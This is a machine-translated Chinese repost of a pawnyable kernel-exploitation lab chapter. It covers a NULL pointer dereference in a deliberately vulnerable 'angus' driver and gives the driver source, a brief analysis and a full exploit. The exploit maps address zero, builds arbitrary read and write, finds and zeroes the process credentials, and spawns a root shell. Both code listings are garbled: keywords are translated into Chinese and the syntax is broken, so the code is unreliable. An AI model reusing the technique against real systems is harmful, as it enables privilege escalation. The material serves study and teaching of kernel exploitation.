当前位置:人工智能 > 0018-TIPS-pawnyable: NULL指针解除引用

0018-TIPS-pawnyable: NULL指针解除引用

  • 发布:2023-10-10 01:25

原文
NULL指针解除引用
问题下载

环境宽松限制

从启动选项中可以看出,SMAP 在受攻击的计算机上被禁用。除非禁用 SMAP,否则您无法利用本章讨论的 NULL 指针取消引用。
您还可以尝试启动内核并输入以下命令:

$  /proc/sys/vm/mmap_min_addr
0

mmap_min_addr是一个Linux内核变量。顾名思义,它限制了可以从用户模式 ​​mmap 映射的最低地址。
请注意,默认情况下它是一个非零值,但在我们的攻击目标中设置为 0。
这个变量是从 Linux 内核版本 2.6.23 引入的,作为 NULL 指针取消引用的缓解措施,我们将在这里解决这个问题。

本章的内容基于可以避免 SMAP 和 mmap 缓解措施的攻击。

代码分析

#包括
#包括 
#包括 
#包括 
#包括 
#包括 MODULE_LICENSE("GPL"); 
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Angus - Pawnyable 的易受攻击的内核驱动程序");#define DEVICE_NAME "安格斯”#定义 CMD_INIT 0x13370001
#定义 CMD_SETKEY 0x13370002
#定义 CMD_SETDATA 0x13370003
#定义 CMD_GETDATA 0x13370004
#定义 CMD_ENCRYPT 0x13370005
#定义 CMD_DECRYPT0x13370006typedef  结构 {字符 *;字符*数据; size_tkeylen;size_tdatalen;
} XorCipher;typedef结构{char *ptr;尺寸_t长度;}request_t;xor (XorCipher *ctx){size_ti;if(ctx->数据||ctx->返回 -EINVAL;对于(i=0;i<  ctx->datalen; i++)ctx->数据[i]^=ctx-> [i %ctx->keylen];返回0;
}静态intmodule_open( struct inode *inode, 结构 文件*filp) {filp-> private_data = NULL;返回 0; }静态intmodule_close() struct inode *inode, 结构 文件*filp) {异或密码 *ctx ;if ((ctx =)  (XorCipher*)filp ->私有数据)){if  (ctx->数据)kfree(ctx->数据);如果 (ctx->)kfree(ctx->);kfree(filp->私有数据);}返回  0;}静态module_ioctl( 结构 文件*filp,无符号intcmd,无符号 arg){ request_t req;XorCipher *ctx;if  (copy_from_user(&) 请求,(void*)arg ,尺寸(request_t)))返回-EINVAL; ctx = (异或密码*)filp->private_data;开关(cmd){case CMD_INIT:if (! ctx)filp->私有数据 = (void*)kzalloc() 大小(异或密码), GFP_KERNEL);if(!filp) ->私有数据)返回-ENOMEM;断裂;案例CMD_SETKEY:if(! ctx)返回 -EINVAL;如果(!req .ptr || 要求.长度>0x1000返回 -EINVAL;如果ctx->kfree() ctx->); if (!(ctx->) 键=char *)kmalloc(req.len,,  GFP_KERNEL))) 返回-ENOMEM;if( 从用户复制(ctx->,要求.ptr,要求. len)){kfree (ctx->);ctx->= NULL;返回 -EINVAL;} ctx->keylen = 要求 .len;break;案例 CMD_SETDATA:if(!ctx )返回- EINVAL;if (!req. ptr || 请求.len >0x1000)返回 -EINVAL;如果( ctx->数据)kfree(ctx ->数据);如果 (!(ctx->数据 = (char* )kmalloc(req.len, GFP_KERNEL)))返回-ENOMEM;if(copy_from_)用户(ctx->数据,要求.ptr,要求.len )){kfree( ctx->);ctx-> 键=NULL;返回-EINVAL;}ctx ->数据长度=要求 len;break;案例 CMD_GETDATA:if(!ctx ->数据)返回-EINVAL;如果( !请求ptr ||请求.len > ctx->datalen)返回-EINVAL ;if (复制到用户(req.) ptr,ctx->数据,要求.len))返回-EINVAL;中断;案例 CMD_ENCRYPT:案例 CMD_DECRYPT:返回xor(ctx) ;默认: 返回- EINVAL;}返回0;}静态结构文件操作模块_fops = {.所有者=THIS_MODULE,.打开= module_open, .释放= module_close, .解锁_ioctl = module_ioctl
};静态dev_tdev_id; 
静态 结构 cdev c_dev; 静态 int __init module_initialize({if (alloc_chrdev_region(&) dev_id,0,1,DEVICE_NAME))返回-EBUSY ;cdev_init(&c_dev,  &module_fops);c_dev. 所有者=这个模块;if (cdev_add(&c_dev,dev_id,1)){ unregister_chrdev_region(dev_id,1);返回-EBUSY;} 返回0;
}静态void__exitmodule_cleanup(
{cdev_del(&c_dev);unregister_chrdev_region(dev_id,1 );
}module_init(module_initialize);
模块_退出(模块_清理);

module_open

CMD_INIT

CMD_SETKEY

CMD_SETDATA

CMD_ENCRYPT && CMD_ENCRYPT

CMD_GETDATA

漏洞分析

代码在CMD_SETKEYCMD_SETDATA,会检查filp->private_ data是否指向null,这没问题

ctx = (XorCipher*) filp->private_data;案例 CMD_SETDATA:if (!ctx  )返回-EINVAL;案例CMD_SETKEY:if(! ctx)返回 - EINVAL;

但是在CMD_GETDATACMD_SETDATACMD_ENC RY PTCMD_DECRYPT filp->private_data 没有检查是否指向null
(重要前提:没有启用smap保护,并且关闭mmap_min_addr限制)
会出现以下问题


exp

#定义_GNU_SOURCE
#包括 
#包括
#包括 
#包括 
#包括 #包括 
#包括 
#包括#定义CMD_INIT0x13370001
#定义 CMD_SETKEY 0x13370002
#定义 CMD_SETDATA 0x13370003
#定义 CMD_GETDATA 0x13370004
#定义 CMD_ENCRYPT 0x13370005
#定义 CMD_DECRYPT0x13370006typedef  结构 {字符 *;字符*数据; size_tkeylen;size_tdatalen;
} XorCipher;typedefstruct{char *ptr;尺寸_t长度;
}request_t;void致命 (constchar*msg){错误(msg) ;退出(1);}intfd;intangus_init(void){request_t  请求 = { NULL  };返回ioctl(fd,CMD_INIT,&req );
}
intangus_setkey(char* key,size_tkeylen){request_t请求={  .ptr =,.len=keylen};返回 ioctl(fd, CMD_SETKEY, &请求);
}intangus_setdata(char* 数据,size_t数据长度){request_t请求={  .ptr =数据, .len = datalen };返回 ioctl(fd, CMD_SETDATA, &请求);
}
intangus_getdata(char* 数据,size_t数据长度){request_t请求={  .ptr =数据, .len = datalen };返回 ioctl(fd, CMD_GETDATA,&请求);
}intangus_加密(){ request_t 请求 = { NULL};返回ioctl( fd, CMD_ENCRYPT,  &请求);
}
intangus_decrypt{request_t请求={NULL};返回ioctl( fd, CMD_ENCRYPT,  &请求);
}XorCipher *nullptr = NULL ;int AAR(char *dst,char *src,size_tlen) {nullptr->数据= s rc;nullptr->datalen  =len;返回angus_getdata(dst,长度);}AAW(char *dst,char*src,size_t长度) {char *tmp  = (char*)malloc() len);if (tmp==NULL)致命("malloc");AAR (tmp,dst,len) ;对于 (size_t i = 0; i <len; 我++)tmp[i]^=src[i ];nullptr->数据= dst;nullptr->datalen =len;nullptr->= tmp;nullptr->keylen =长度;angus_加密() ;免费(tmp);}intmain() {fd = 打开("/dev/angus", O_RDWR);if(fd== -1)致命("/dev/angus");if (mmap(0,0x1000,PROT_READ|PROT_WRITE MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE,-1,0)!=NULL)致命("mmap");prctl(PR_SET_NAME ,“猫丸”) ;无符号地址;size_t 步幅=0x1000000;char  *,*buf = malloc步幅;if (!buf) 致命“malloc(跨步)”;用于(地址= 0xffff888000000000;地址< 0xffffc88000000000;地址+=步幅 ) {if (addr %0x10000000000==0) printf("[*] 正在搜索 0x%016lx... \n",addr);if(AAR(buf,(char*)addr,步幅)!=0)继续;如果=  memmem(buf,步幅,“猫丸”,8)) {地址 += ( - buf;printf() "[+] 找到通讯: 0x%016lx\n",addr);break;}}if (地址== 0xffffc88000000000) {放置("[-]未找到" );退出(1);}无符号addr_cred; AAR((char*) )&addr_cred, (char*)( 地址-8), 8);printf("[+] 信用: 0x%016lx\n",  addr_cred);字符[0x20]=  { 0 }; AAW((char*)(addr_cred +4),, 尺寸());投入("[+]获胜!" );系统("/bin/sh");返回 0;}

相关文章